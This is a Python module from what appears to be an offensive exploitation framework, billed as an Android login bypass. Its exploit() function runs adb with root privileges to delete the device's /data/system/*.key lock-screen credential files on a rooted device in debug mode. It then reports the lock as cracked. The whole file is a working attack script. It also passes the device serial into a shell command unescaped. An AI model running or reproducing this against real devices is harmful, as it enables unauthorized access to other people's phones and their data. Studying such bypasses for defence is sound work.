from core.module_obtainer import obtainer
from utilities.color import red, green
from subprocess import check_call, CalledProcessError
from platform import architecture

info = {
        'author'            :'Ahmad Nourallah',
        'date'              :'2017/7/16',
        'rank'              :'Excellent',
        'path'              :'exploit/android/login/login_bypass.py',
        'category'          :'exploit',
        'license'           :'GPL-2.0',
        'description'       :'crack android login when the android device under the debug mode.\nNote: device should be rooted and under debug mode.',
        'references'        :['developer.android.com/studio/command-line/adb.html']
}
options = {
            'serial'                :['Yes', 'use to set android device serial','']
}
required = {
        'start_required'     :'True',
        'check_required'     :'False'
}

def exploit():
    try:
        if architecture()[0] == "64bit":
            check_call('files/exploit/android/login/login_bypass/adb-x86_64 -s {} shell su root rm /data/system/*.key &> /dev/null'.format(obtainer.options['serial'][2]), shell=True)
        else:
            check_call('files/exploit/android/login/login_bypass/adb-x86 shell -s {} su root rm /data/system/*.key &> /dev/null'.format(obtainer.options['serial'][2]), shell=True)
    except CalledProcessError:
        print(red('[!]') + green(' Check') + " the device in debug mode or if he has lock")
        pass
    except FileNotFoundError:
        print(red('\n[!]') + green(' Check') + " if all adb in files folder\n")
    else:
        print(green('[#]') + " lock cracked successfully")
